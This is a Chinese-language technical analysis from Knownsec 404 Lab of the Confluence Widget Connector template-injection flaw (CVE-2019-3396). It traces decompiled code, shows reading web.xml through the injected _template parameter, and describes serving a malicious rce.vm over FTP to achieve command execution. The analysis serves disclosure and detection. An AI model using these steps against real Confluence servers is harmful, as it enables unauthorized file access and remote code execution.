作者:Badcode@知道創宇404實驗室

時間:2019年4月8日

原文鏈接:paper.seebug.org/884/

看到官方發布了預警,於是開始了漏洞應急。漏洞描述中指出Confluence Server與Confluence Data Center中的Widget Connector存在服務端模板注入漏洞,攻擊者能利用此漏洞能夠實現目錄穿越與遠程代碼執行。

確認漏洞點是Widget Connector,下載最新版的比對補丁,發現在

comatlassianconfluenceextrawidgetconnectorWidgetMacro.java

裡面多了一個過濾,這個應該就是這個漏洞最關鍵的地方。

可以看到

this.sanitizeFields = Collections.unmodifiableList(Arrays.asList(VelocityRenderService.TEMPLATE_PARAM));

TEMPLATE_PARAM的值就是_template,所以這個補丁就是過濾了外部傳入的_template參數。

public interface VelocityRenderService {
public static final String WIDTH_PARAM = "width";
public static final String HEIGHT_PARAM = "height";
public static final String TEMPLATE_PARAM = "_template";

翻了一下Widget Connector裡面的文件,發現TEMPLATE_PARAM就是模板文件的路徑。

public class FriendFeedRenderer implements WidgetRenderer {
private static final String MATCH_URL = "friendfeed.com";
private static final String PATTERN = "friendfeed.com/(\w+)/?";
private static final String VELOCITY_TEMPLATE = "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm";
private VelocityRenderService velocityRenderService;
......
public String getEmbeddedHtml(String url, Map<String, String> params) {
params.put(VelocityRenderService.TEMPLATE_PARAM, VELOCITY_TEMPLATE);
return velocityRenderService.render(getEmbedUrl(url), params);
}

載入外部的鏈接時,會調用相對的模板去渲染,如上,模板的路徑一般是寫死的,但是也有例外,補丁的作用也說明有人突破了限制,調用了意料之外的模板,從而造成了模板注入。

在了解了補丁和有了一些大概的猜測之後,開始嘗試。

首先先找到這個功能,翻了一下官方的文檔,找到了這個功能,可以在文檔中嵌入一些視頻,文檔之類的。

看到這個,有點激動了,因為在翻補丁的過程中,發現了幾個參數,urlwidthheight正好對應著這裡,那_template是不是也從這裡傳遞進去的?

隨便找個Youtube視頻插入試試,點擊預覽,抓包。

params中嘗試插入_template參數,好吧,沒啥反應。。

開始debug模式,因為測試插入的是Youtube視頻,所以調用的是

com/atlassian/confluence/extra/widgetconnector/video/YoutubeRenderer.class

public class YoutubeRenderer implements WidgetRenderer, WidgetImagePlaceholder {
private static final Pattern YOUTUBE_URL_PATTERN = Pattern.compile("https?://(.+\.)?youtube.com.*(\?v=([^&]+)).*$");
private final PlaceholderService placeholderService;
private final String DEFAULT_YOUTUBE_TEMPLATE = "com/atlassian/confluence/extra/widgetconnector/templates/youtube.vm";
......

public String getEmbedUrl(String url) {
Matcher youtubeUrlMatcher = YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url));
return youtubeUrlMatcher.matches() ? String.format("//www.youtube.com/embed/%s?wmode=opaque", youtubeUrlMatcher.group(3)) : null;
}

public boolean matches(String url) {
return YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url)).matches();
}

private String verifyEmbeddedPlayerString(String url) {
return !url.contains("feature=player_embedded&") ? url : url.replace("feature=player_embedded&", "");
}

public String getEmbeddedHtml(String url, Map<String, String> params) {
return this.velocityRenderService.render(this.getEmbedUrl(url), this.setDefaultParam(params));
}

getEmbeddedHtml下斷點,先會調用getEmbedUrl對用戶傳入的url進行正則匹配,因為我們傳入的是個正常的Youtube視頻,所以這裡是沒有問題的,然後調用setDefaultParam函數對傳入的其他參數進行處理。

private Map<String, String> setDefaultParam(Map<String, String> params) {
String width = (String)params.get("width");
String height = (String)params.get("height");
if (!params.containsKey("_template")) {
params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/youtube.vm");
}

if (StringUtils.isEmpty(width)) {
params.put("width", "400px");
} else if (StringUtils.isNumeric(width)) {
params.put("width", width.concat("px"));
}

if (StringUtils.isEmpty(height)) {
params.put("height", "300px");
} else if (StringUtils.isNumeric(height)) {
params.put("height", height.concat("px"));
}

return params;
}

取出widthheight來判斷是否為空,為空則設置默認值。關鍵的_template參數來了,如果外部傳入的參數沒有_template,則設置默認的Youtube模板。如果傳入了,就使用傳入的,也就是說,aaaa是成功的傳進來了。

大概翻了一下Widget Connector裡面的Renderer,大部分是不能設置_template的,是直接寫死了,也有一些例外,如Youtube,Viddler,DailyMotion等,是可以從外部傳入_template的。

能傳遞_template了,接下來看下是如何取模板和渲染模板的。

跟進this.velocityRenderService.render,也就是com/atlassian/confluence/extra/widgetconnector/services/DefaultVelocityRenderService.class裡面的render方法。

public String render(String url, Map<String, String> params) {
String width = (String)params.get("width");
String height = (String)params.get("height");
String template = (String)params.get("_template");
if (StringUtils.isEmpty(template)) {
template = "com/atlassian/confluence/extra/widgetconnector/templates/embed.vm";
}

if (StringUtils.isEmpty(url)) {
return null;
} else {
Map<String, Object> contextMap = this.getDefaultVelocityContext();
Iterator var7 = params.entrySet().iterator();

while(var7.hasNext()) {
Entry<String, String> entry = (Entry)var7.next();
if (((String)entry.getKey()).contentEquals("tweetHtml")) {
contextMap.put(entry.getKey(), entry.getValue());
} else {
contextMap.put(entry.getKey(), GeneralUtil.htmlEncode((String)entry.getValue()));
}
}

contextMap.put("urlHtml", GeneralUtil.htmlEncode(url));
if (StringUtils.isNotEmpty(width)) {
contextMap.put("width", GeneralUtil.htmlEncode(width));
} else {
contextMap.put("width", "400");
}

if (StringUtils.isNotEmpty(height)) {
contextMap.put("height", GeneralUtil.htmlEncode(height));
} else {
contextMap.put("height", "300");
}

return this.getRenderedTemplate(template, contextMap);
}
}

_template取出來賦值給template,其他傳遞進來的參數取出來經過判斷之後放入到contextMap,調用getRenderedTemplate函數,也就是調用VelocityUtils.getRenderedTemplate

protected String getRenderedTemplate(String template, Map<String, Object> contextMap){
return VelocityUtils.getRenderedTemplate(template, contextMap);
}

一路調用,調用鏈如下圖,最後來到/com/atlassian/confluence/util/velocity/ConfigurableResourceManager.classloadResource函數,來獲取模板。

這裡調用了4個ResourceLoader去取模板。

com.atlassian.confluence.setup.velocity.HibernateResourceLoader
org.apache.velocity.runtime.resource.loader.FileResourceLoader
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader

這裡主要看下Velocity自帶的FileResourceLoaderClasspathResourceLoader

FileResourceLoader會對用戶傳入的模板路徑使用normalizePath函數進行校驗

可以看到,過濾了/../,這樣就導致沒有辦法跳目錄了。

路徑過濾後調用findTemplate查找模板,可看到,會拼接一個固定的path,這是Confluence的安裝路徑。

也就是說現在可以利用FileResourceLoader來讀取Confluence目錄下面的文件了。

嘗試讀取/WEB-INF/web.xml文件,可以看到,是成功的載入到了該文件。

但是這個無法跳出Confluence的目錄,因為不能用/../

再來看下ClasspathResourceLoader

public InputStream getResourceStream(String name) throws ResourceNotFoundException {
InputStream result = null;
if (StringUtils.isEmpty(name)) {
throw new ResourceNotFoundException("No template name provided");
} else {
try {
result = ClassUtils.getResourceAsStream(this.getClass(), name);
......
}

跟進ClassUtils.getResourceAsStream

public static InputStream getResourceAsStream(Class claz, String name) {
while(name.startsWith("/")) {
name = name.substring(1);
}

ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
InputStream result;
if (classLoader == null) {
classLoader = claz.getClassLoader();
result = classLoader.getResourceAsStream(name);
} else {
result = classLoader.getResourceAsStream(name);
if (result == null) {
classLoader = claz.getClassLoader();
if (classLoader != null) {
result = classLoader.getResourceAsStream(name);
}
}
}

return result;
}

會跳到/org/apache/catalina/loader/WebappClassLoaderBase.class

跟進,發現會拼接/WEB-INF/classes,而且其中也是調用了normalize對傳入的路徑進行過濾。

這裡還是可以用../跳一級目錄。

嘗試讀取一下../web.xml,可以看到,也是可以讀取成功的,但是仍然無法跳出目錄。

我這裡測試用的版本是6.14.1,而後嘗試了file://,http://https://都沒有成功。後來我嘗試把Cookie刪掉,發現還是可以讀取文件,確認了這個漏洞不需要許可權,但是跳不出目錄。應急就在這裡卡住了。

而後的幾天,有大佬說用file://協議可以跳出目錄限制,我驚了,我確定當時是已經試過了,沒有成功的。看了大佬的截圖,發現用的是6.9.0的版本,我下載了,嘗試了一下,發現真的可以。

問題還是在ClasspathResourceLoader上面,步驟和之前的是一樣的,斷到/org/apache/catalina/loader/WebappClassLoaderBase.classgetResourceAsStream方法

前面拼接/WEB-INF/classes獲取失敗後,繼續往下進行。

跟進findResource,函數前面仍然獲取失敗

關鍵的地方就在這裡,會調用super.findResource(name),這裡返回了URL,也就是能獲取到對象。

不僅如此,這裡還可以使用其他協議(https,ftp等)獲取遠程的對象,意味著可以載入遠程的對象。

獲取到URL對象之後,繼續回到之前的getResourceAsStream,可以看到,當返回的url不為null時,會調用url.openStream()獲取數據。

最終獲取到數據給Velocity渲染。

嘗試一下

至於6.14.1為啥不行,趕著應急,後續會跟,如果有新的發現,會同步上來,目前只看到ClassLoader不一樣。

6.14.1

6.9.0

這兩個loader的關係如下

現在可以載入本地和遠程模板了,可以嘗試進行RCE。

關於Velocity的RCE,基本上payload都來源於15年blackhat的服務端模板注入的議題,但是在Confluence上用不了,因為在調用方法的時候會經過velocity-htmlsafe-1.5.1.jar,裡面多了一些過濾和限制。但是仍然可以利用反射來執行命令。

python -m pyftpdlib -p 2121開啟一個簡單的ftp伺服器,將payload保存成rce.vm,保存在當前目錄。

_template設置成ftp://localhost:2121/rce.vm,發送,成功執行命令。

對於命令回顯,同樣可以使用反射構造出payload,執行ipconfig的結果。

漏洞影響

根據 ZoomEye 網路空間搜索引擎對關鍵字 "X-Confluence" 進行搜索,共得到 61,856 條結果,主要分布美國、德國、中國等國家。

全球分布(非漏洞影響範圍)

中國分布(非漏洞影響範圍)

漏洞檢測

2019年4月4日,404實驗室公布了該漏洞的檢測PoC,可以利用這個PoC檢測Confluence是否受該漏洞影響。

參考鏈接

  • 漏洞檢測PoC
  • Remote code execution via Widget Connector macro - CVE-2019-3396
  • 漏洞預警 | Confluence Server 遠程代碼執行漏洞

本文由 Seebug Paper 發布,如需轉載請註明來源。

歡迎關注我和專欄,我將定期搬運技術文章~

也歡迎訪問我們:知道創宇雲安全


推薦閱讀:
相关文章